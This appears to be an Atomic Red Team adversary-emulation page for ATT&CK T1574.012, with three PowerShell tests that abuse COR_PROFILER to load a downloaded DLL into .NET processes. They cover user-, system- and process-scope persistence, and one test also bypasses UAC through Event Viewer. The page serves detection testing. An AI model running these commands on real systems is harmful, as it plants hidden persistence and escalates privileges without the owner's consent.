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Hijack Execution Flow: COR_PROFILER

Description from ATT&CK

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)

The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)

Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: Bypass User Account Control) if the victim .NET process executes at a higher permission level, as well as to hook and Impair Defenses provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

Atomic Tests

Atomic Test #1 - User scope COR_PROFILER

Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER). The unmanaged profiler DLL (

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T1574.012x64.dll
) executes when the CLR is loaded by the Event Viewer process. Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing 
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notepad.exe
with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.

Reference: https://redcanary.com/blog/cor_profiler-for-persistence/

Supported Platforms: windows

auto_generated_guid: 9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a

Inputs:

Name Description Type Default Value
file_name unmanaged profiler DLL path PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
clsid_guid custom clsid guid string {09108e71-974c-4010-89cb-acf471ae9e2c}

Attack Commands: Run with powershell!

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Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsid_guid}" -ForegroundColor Cyan
New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value "#{file_name}" -Force | Out-Null
New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null
Write-Host "executing eventvwr.msc" -ForegroundColor Cyan
START MMC.EXE EVENTVWR.MSC

Cleanup Commands:

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Remove-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}" -Recurse -Force -ErrorAction Ignore 
Remove-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null
Remove-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -Force -ErrorAction Ignore | Out-Null
Remove-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -Force -ErrorAction Ignore | Out-Null

Dependencies: Run with powershell!

Description: "#{file_name}" must be present

Check Prereq Commands:

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if (Test-Path "#{file_name}") {exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"

Atomic Test #2 - System Scope COR_PROFILER

Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect. The unmanaged profiler DLL (T1574.012x64.dll

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) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity
level of Event Viewer bypassing UAC and executing
notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.

Reference: https://redcanary.com/blog/cor_profiler-for-persistence/

Supported Platforms: windows

auto_generated_guid: f373b482-48c8-4ce4-85ed-d40c8b3f7310

Inputs:

Name Description Type Default Value
file_name unmanaged profiler DLL path PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
clsid_guid custom clsid guid string {09108e71-974c-4010-89cb-acf471ae9e2c}

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Write-Host "Creating system environment variables" -ForegroundColor Cyan
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null

Cleanup Commands:

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Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null
Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -Force -ErrorAction Ignore | Out-Null
Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -Force -ErrorAction Ignore | Out-Null

Dependencies: Run with powershell!

Description: "#{file_name}" must be present

Check Prereq Commands:

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if (Test-Path "#{file_name}") {exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"

Atomic Test #3 - Registry-free process scope COR_PROFILER

Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (

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T1574.012x64.dll
) executes when the CLR is loaded by PowerShell.

Reference: https://redcanary.com/blog/cor_profiler-for-persistence/

Supported Platforms: windows

auto_generated_guid: 79d57242-bbef-41db-b301-9d01d9f6e817

Inputs:

Name Description Type Default Value
file_name unamanged profiler DLL path PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
clsid_guid custom clsid guid string {09108e71-974c-4010-89cb-acf471ae9e2c}

Attack Commands: Run with powershell!

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$env:COR_ENABLE_PROFILING = 1
$env:COR_PROFILER = '#{clsid_guid}'
$env:COR_PROFILER_PATH = '"#{file_name}"'
POWERSHELL -c 'Start-Sleep 1'

Cleanup Commands:

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$env:COR_ENABLE_PROFILING = 0
$env:COR_PROFILER = ''
$env:COR_PROFILER_PATH = ''

Dependencies: Run with powershell!

Description: "#{file_name}" must be present

Check Prereq Commands:

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if (Test-Path "#{file_name}") {exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"

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